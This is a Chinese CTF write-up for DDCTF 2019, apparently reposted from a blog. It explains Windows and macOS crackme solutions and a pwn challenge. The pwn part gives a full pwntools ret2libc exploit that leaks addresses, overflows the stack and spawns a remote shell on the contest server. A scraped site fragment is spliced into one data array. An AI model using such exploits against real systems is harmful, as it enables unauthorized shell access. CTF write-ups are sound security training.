2019DDCTF部分Writeup

……

re

Windows Reverse1

通过DIE查壳发现存在upx,在linux上upx -d脱壳即可,拖入IDA,通过关键字符串找到关键函数:

main函数中也没有什么,将输入的字符串带到sub_401000函数去处理,之后和处理过后的字符串和正确字符串进行比较,若一致则是正确flag

跟进sub_401000,首先计算了输出字符串的长度,然后根据每一个字符的ascii码再加上一个常量作为地址,取里面的值,循环,每一位都是这样

在main函数中我们知道正确的字符串,那么我们就可以反推处flag

exp:

1
2
3
4
5
data = [0x403052,0x403052,0x403053,0x403042,0x403050,0x40301B,0x403024,0x403031,0x403020,0x403031,0x403024,0x403023,0x403031,0x403049,0x403051,0x403019]
flag = ""
for x in range(len(data)):
flag+=chr(data[x]-0x402ff8)
print "DDCTF{"+flag+"}"

flag:DDCTF{ZZ[JX#,9(9,+9QY!}

Windows Reverse2

查壳发现是ASPack壳,我用工具脱没脱下来,只好手动脱,根据栈平衡可以顺利找到eop,然后从内存中dump下来,载入IDA中,找到关键函数:

sub_4011F0函数验证了用户输出的合法性,然后再经过sub_401240和sub_401C6A处理,再和正确字符串相比较

验证合法性的函数很简单,限制了0-9,A-F

接下来看数据处理函数,静态分析后也没明白是干什么的,通过交叉引用函数,发现sub_401000存在base64算法,但是这道题把索引表给隐藏起来了,题目所提供的索引表和0x76异或之后构成base64的索引表

动态调试的时候,我们输入123456789A的时候,发现sub_401000返回了一串字符串:

更加确定这个是base64加密了,解密发现,这个题目是将我门输入的字符串直接转成了数据

1
2
import base64
print base64.b64decode("EjRWeJo=").encode("hex")

所以我们直接将正确字符串base64解密即可得到flag:

1
2
import base64
print "DDCTF{"+base64.b64decode("reverse+").encode("hex").upper()+"}"

flag:DDCTF{ADEBDEAEC7BE}

Confused

这道题一开始我没看出来,后来kaller师傅给我了一个提示:VM 虚拟机

再反过来头看程序,恍然大悟

首先题目是一个app,应该是在MacOS上的app,这是我第一次做,边百度边做

在MacOS中发现一个可执行文件,xia0Crackme

1
2
3
➜  MacOS file xia0Crackme 
xia0Crackme: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
➜ MacOS

拖入IDA查找字符串来定位关键函数:

main函数中,大致过程就是先对输入的字符串进行格式上的验证,长度上限制是18,然后进入到sub_1000011D0进行处理,若返回值等于1,则是正确的flag

在sub_1000011D0函数中首先初始化了一个区域v2

sub_100001f60是通过输入的字符串和内存数据对v2进行赋值操作

前段是对v2进行赋值,最后将输入的字符串拷贝到qword_100003F58+48的位置

sub_100001F00函数对(*v2+24)进行了赋值,把一段数据赋给了它,接着是一个循环,判断条件就是刚刚赋值的数据是不是等于“0xf3”,

然后进入sub_100001E50,这个函数一开始我还没看出来是什么意思,后来发现这是一个VM类型的题,,这个函数的作用是控制程序执行的vm的分支

各个分支的函数我这里就不再详细讲解

数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
0xf0,0x10,0x66,0x0,0x0,0x0,
0xf8,
0xf2,0x30,
0xf6,0xc1,

0xf0,0x10,0x63,0x0,0x0,0x0,
0xf8,
0xf2,0x31,
0xf6,0xb6,

0xf0,0x10,0x6a,0x0,0x0,0x0,
0xf8,
0xf2,0x32,
0xf6,0xab,

0xf0,0x10,0x6a,0x0,0x0,0x0,
0xf8,
0xf2,0x33,
0xf6,0xa0,

0xf0,0x10,0x6d,0x0,0x0,0x0,
0xf8,
0xf2,0x34,
0xf6,0x95,

0xf0,0x10,0x57,0x0,0x0,0x0,
0xf8,
0xf2,0x35,
0xf6,0x8a,

0xf0,0x10,0x6d,0x0,0x0,0x0,
0xf8,
0xf2,0x36,
0xf6,0x7f,

0xf0,0x10, 大专栏  2019DDCTF部分Writeup0x73,0x0,0x0,0x0,
0xf8,
0xf2,0x37,
0xf6,0x74,

0xf0,0x10,0x45,0x0,0x0,0x0,
0xf8,
0xf2,0x38,
0xf6,0x69,

0xf0,0x10,0x6d,0x0,0x0,0x0,
0xf8,
0xf2,0x39,
0xf6,0x5e,

0xf0,0x10,0x72,0x0,0x0,0x0,
0xf8,
0xf2,0x3a,
0xf6,0x53,

0xf0,0x10,0x52,0x0,0x0,0x0,
0xf8,
0xf2,0x3b,
0xf6,0x48,

0xf0,0x10,0x66,0x0,0x0,0x0,
0xf8,
0xf2,0x3c,
0xf6,0x3d,

0xf0,0x10,0x63,0x0,0x0,0x0,
0xf8,
0xf2,0x3d,
0xf6,0x32,

0xf0,0x10,0x44,0x0,0x0,0x0,
0xf8,
0xf2,0x3e,
0xf6,0x27,

0xf0,0x10,0x6a,0x0,0x0,0x0,
0xf8,
0xf2,0x3f,
0xf6,0x1c,

0xf0,0x10,0x79,0x0,0x0,0x0,
0xf8,
0xf2,0x40,
0xf6,0x11,

0xf0,0x10,0x65,0x0,0x0,0x0,
0xf8,
0xf2,0x41,
0xf6,0x6,
0xf7,0x1,0x0,0x0,0x0,0xf3

总共是两中处理方式

exp:

1
2
3
4
5
6
7
8
data = [0x66,0x63,0x6a,0x6a,0x6d,0x57,0x6d,0x73,0x45,0x6d,0x72,0x52,0x66,0x63,0x44,0x6a,0x79,0x65]
flag = ""
for x in range(len(data)):
if 0x41<=data[x] and data[x]<=0x5a:
flag += chr((2+data[x]-65)%26+65)
else:
flag += chr((2+data[x]-97)%26+97)
print "DDCTF{"+flag+"}"

flag:DDCTF{helloYouGotTheFlag}

pwn

[PWN] strike

这个相对来说是比较简单的,设计到的只有栈溢出,但是这个栈溢出有点和之前的不一样

第一处漏洞点

fprintf处存在泄露栈地址

第二处漏洞点

通过负数来绕过对password输入长度的限制

第三处漏洞点

在读入password时可造成栈溢出

但是在栈溢出的时候ECX不能变,需要把ECX的值计算出来填充到我们的payload中

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
debug = 1

if debug:
r = remote("116.85.48.105",5005)
file = ELF("./xpwn")
libc = ELF("./libc.so.6")
else:
r = process("./xpwn")
file = ELF("./xpwn")

# leak stack addr
r.recv()
payload = "a"*40
r.send(payload)
r.recvuntil("Hello "+"a"*40)
leak_stack = u32(r.recv()[0:4])
ecx_stack = leak_stack+0x18
log.info("leak_stack --> "+hex(leak_stack))
log.info("ecx_stack --> "+hex(ecx_stack))
r.recv()
r.sendline("-123456")
r.recv()


# leak real addr
main_addr = 0x8048669
puts_plt = file.plt['puts']
read_got = file.got['read']
payload = "a"*68+p32(ecx_stack)+"a"*24+p32(puts_plt)+p32(main_addr)+p32(read_got)
#gdb.attach(r)
r.sendline(payload)
r.recvuntil("All done, bye!")
str1 = r.recv()
read_real = u32(str1[1:5])
read_libc = libc.symbols['read']
base_addr = read_real-read_libc
log.info("base_addr:"+hex(base_addr))
system_addr = libc.symbols['system']+base_addr
binsh_addr = 0x0015902b+base_addr
log.info("binsh_addr:"+hex(binsh_addr))
log.info("system_addr:"+hex(system_addr))


# getshell
payload = "a"*40
r.send(payload)
r.recvuntil("Hello "+"a"*40)
leak_stack = u32(r.recv()[0:4])
ecx_stack = leak_stack+0x18
log.info("leak_stack --> "+hex(leak_stack))
log.info("ecx_stack --> "+hex(ecx_stack))
r.recv()
r.sendline("-123456")
r.recv()
payload = "a"*68+p32(ecx_stack)+"a"*24+p32(system_addr)+p32(main_addr)+p32(binsh_addr)
r.sendline(payload)
r.recvuntil("All done, bye!")
sleep(0.1)
r.interactive()

flag:DDCTF{s0_3asy_St4ck0verfl0w_r1ght?}


原文地址:https://www.cnblogs.com/lijianming180/p/12288978.html